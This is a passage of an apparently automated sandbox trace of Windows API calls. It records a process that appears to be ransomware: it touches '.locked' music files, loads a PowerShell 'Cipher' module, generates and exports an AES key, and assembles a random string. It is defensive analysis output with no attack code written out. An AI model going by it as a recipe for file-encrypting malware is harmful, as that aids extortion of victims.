[2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.773] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.773] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.775] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.775] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.775] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.775] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.775] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.776] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0133.778] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xebdzg2qrmg--2hbsrnm.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a5bc88 | out: lpFileInformation=0x6a5bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12f28baf, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x12f28baf, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x12f4ee2a, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x13834)) returned 1 [0133.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0133.778] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3.locked", lpFilePart=0x0) returned 0x4f [0133.778] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xebdzg2qrmg--2hbsrnm.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0133.778] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0133.778] CloseHandle (hObject=0x858) returned 1 [0133.779] GetConsoleOutputCP () returned 0x1b5 [0133.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.780] GetConsoleOutputCP () returned 0x1b5 [0133.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.780] GetConsoleOutputCP () returned 0x1b5 [0133.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.780] GetConsoleOutputCP () returned 0x1b5 [0133.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.781] GetConsoleOutputCP () returned 0x1b5 [0133.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.781] GetConsoleOutputCP () returned 0x1b5 [0133.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.782] GetConsoleOutputCP () returned 0x1b5 [0133.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.782] GetConsoleOutputCP () returned 0x1b5 [0133.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.782] GetConsoleOutputCP () returned 0x1b5 [0133.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.783] GetConsoleOutputCP () returned 0x1b5 [0133.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.783] GetConsoleOutputCP () returned 0x1b5 [0133.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.783] GetConsoleOutputCP () returned 0x1b5 [0133.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.784] GetConsoleOutputCP () returned 0x1b5 [0133.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.784] GetConsoleOutputCP () returned 0x1b5 [0133.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.784] GetConsoleOutputCP () returned 0x1b5 [0133.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.785] GetConsoleOutputCP () returned 0x1b5 [0133.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.785] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0133.785] GetConsoleOutputCP () returned 0x1b5 [0133.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0133.786] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.786] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a82ba0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a82ba0*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0133.786] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.787] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0133.791] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.791] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.791] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.791] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.791] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.793] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0133.793] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.794] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e027a0) returned 1 [0133.794] CryptGenKey (in: hProv=0x8e027a0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84ff8) returned 1 [0133.794] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.794] CryptExportKey (in: hKey=0x8e84ff8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.794] CryptExportKey (in: hKey=0x8e84ff8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a8c49c, pdwDataLen=0x99ae894 | out: pbData=0x6a8c49c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.794] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\xc42c\x6a8\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0133.795] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.795] SysStringLen (param_1="") returned 0x8 [0133.795] SysStringLen (param_1="l") returned 0x8 [0133.795] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.795] SysStringLen (param_1="\x8ee6\x802a\x7c77\xd614\xfd10\x7ed\xd6f6\x2a24") returned 0x8 [0133.795] SysStringLen (param_1="\x8ee6\x802a\x7c77\xd614\xfd10\x7ed\xd6f6\x2a24") returned 0x8 [0133.795] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.796] SysStringLen (param_1="lK") returned 0x8 [0133.796] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.796] SysStringLen (param_1="\x3a79\xa557\xc355\xa194\xf6a1\x24f1\x83b5\x8af9") returned 0x8 [0133.796] SysStringLen (param_1="\x3a79\xa557\xc355\xa194\xf6a1\x24f1\x83b5\x8af9") returned 0x8 [0133.796] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.796] SysStringLen (param_1="lKY") returned 0x8 [0133.796] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.796] SysStringLen (param_1="捛怊闇鞴찠ꂴ阧狼") returned 0x8 [0133.796] SysStringLen (param_1="捛怊闇鞴찠ꂴ阧狼") returned 0x8 [0133.796] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.796] SysStringLen (param_1="lKYO") returned 0x8 [0133.796] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.796] SysStringLen (param_1="\x1b70\x814d\xdd4\xa426\xc13d\xc21e\xe713\xb22a") returned 0x8 [0133.796] SysStringLen (param_1="\x1b70\x814d\xdd4\xa426\xc13d\xc21e\xe713\xb22a") returned 0x8 [0133.796] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.796] SysStringLen (param_1="lKYO3") returned 0x8 [0133.796] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.797] SysStringLen (param_1="\x22a9\xffa2\x91c7\x8da0\x4053\xf256\xadd8\xda62") returned 0x8 [0133.797] SysStringLen (param_1="\x22a9\xffa2\x91c7\x8da0\x4053\xf256\xadd8\xda62") returned 0x8 [0133.797] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.797] SysStringLen (param_1="lKYO3v") returned 0x8 [0133.797] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.797] SysStringLen (param_1="\x1a86\x557d\xf391\xa1cb\xd51c\x6ab0\x208e\xbcac") returned 0x8 [0133.797] SysStringLen (param_1="\x1a86\x557d\xf391\xa1cb\xd51c\x6ab0\x208e\xbcac") returned 0x8 [0133.797] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.797] SysStringLen (param_1="lKYO3vW") returned 0x8 [0133.797] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.797] SysStringLen (param_1="\xaaa9\xcfa7\x92ad\xfb68\xb660\x390d\xbde0\x4a7d") returned 0x8 [0133.797] SysStringLen (param_1="\xaaa9\xcfa7\x92ad\xfb68\xb660\x390d\xbde0\x4a7d") returned 0x8 [0133.797] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.797] SysStringLen (param_1="lKYO3vWc") returned 0x8 [0133.797] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.797] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222") returned 0x8 [0133.798] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222") returned 0x8 [0133.798] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222") returned 0x8 [0133.798] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222") returned 0x10 [0133.798] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.798] SysStringLen (param_1="lKYO3vWc8惖④矏ֿ䣷勱") returned 0x10 [0133.798] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.798] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\x868b\x8bf3\xa818\x7b1c\x8683\x2937\xa1f\xd296") returned 0x10 [0133.798] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\x868b\x8bf3\xa818\x7b1c\x8683\x2937\xa1f\xd296") returned 0x10 [0133.798] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.798] SysStringLen (param_1="lKYO3vWc8z④矏ֿ䣷勱") returned 0x10 [0133.798] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.798] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\x4ef7\x15a7\xc903\x13f\x837d\xe2b4\x1b36\x5e6a") returned 0x10 [0133.798] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\x4ef7\x15a7\xc903\x13f\x837d\xe2b4\x1b36\x5e6a") returned 0x10 [0133.798] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.798] SysStringLen (param_1="lKYO3vWc8zw矏ֿ䣷勱") returned 0x10 [0133.798] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.798] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\x5575\x49cf\x8df8\xcd38\xafbf\x9d3\x6850\x5b68") returned 0x10 [0133.798] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\x5575\x49cf\x8df8\xcd38\xafbf\x9d3\x6850\x5b68") returned 0x10 [0133.798] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.799] SysStringLen (param_1="lKYO3vWc8zwQֿ䣷勱") returned 0x10 [0133.799] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.799] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xe5bb\x1056\x39f\x3565\xda99\x6678\xc3ac\x9ae6") returned 0x10 [0133.799] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xe5bb\x1056\x39f\x3565\xda99\x6678\xc3ac\x9ae6") returned 0x10 [0133.799] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.799] SysStringLen (param_1="lKYO3vWc8zwQN䣷勱") returned 0x10 [0133.799] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.799] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\x5de4\xcc33\x5eeb\x2a3c\xeef9\x11ed\xbacc\x77eb") returned 0x10 [0133.799] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\x5de4\xcc33\x5eeb\x2a3c\xeef9\x11ed\xbacc\x77eb") returned 0x10 [0133.799] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.799] SysStringLen (param_1="lKYO3vWc8zwQNt勱") returned 0x10 [0133.799] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.799] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\x7a6d\x87c2\x30de\xd62d\xb312\xcf2e\x434a\x9d74") returned 0x10 [0133.799] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\x7a6d\x87c2\x30de\xd62d\xb312\xcf2e\x434a\x9d74") returned 0x10 [0133.799] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.799] SysStringLen (param_1="lKYO3vWc8zwQNtZ勱") returned 0x10 [0133.799] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.800] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdd9f\x8c77\x4019\xabc6\x6d95\xda36\xeaa0\x8c3c") returned 0x10 [0133.800] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdd9f\x8c77\x4019\xabc6\x6d95\xda36\xeaa0\x8c3c") returned 0x10 [0133.800] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.800] SysStringLen (param_1="lKYO3vWc8zwQNtZR") returned 0x10 [0133.800] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.800] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0") returned 0x10 [0133.800] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0") returned 0x10 [0133.800] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0") returned 0x10 [0133.800] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0") returned 0x18 [0133.800] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.800] SysStringLen (param_1="lKYO3vWc8zwQNtZRc蕟꫗눰") returned 0x18 [0133.800] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.800] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\xcee8\x1308\x26cf\x8f1f\x937f\xfb85\x2e45\xea70") returned 0x18 [0133.800] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\xcee8\x1308\x26cf\x8f1f\x937f\xfb85\x2e45\xea70") returned 0x18 [0133.800] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.800] SysStringLen (param_1="lKYO3vWc8zwQNtZRck꫗눰") returned 0x18 [0133.800] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.801] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x9b8d\xae50\xedda\xb268\x2c2f\x2a26\x4db0\x8727") returned 0x18 [0133.801] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x9b8d\xae50\xedda\xb268\x2c2f\x2a26\x4db0\x8727") returned 0x18 [0133.801] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.801] SysStringLen (param_1="lKYO3vWc8zwQNtZRckf눰") returned 0x18 [0133.801] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.801] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x12f4\x3b7b\x356d\x8e1f\x2401\x69da\x9de9\xc959") returned 0x18 [0133.801] SysStringLen 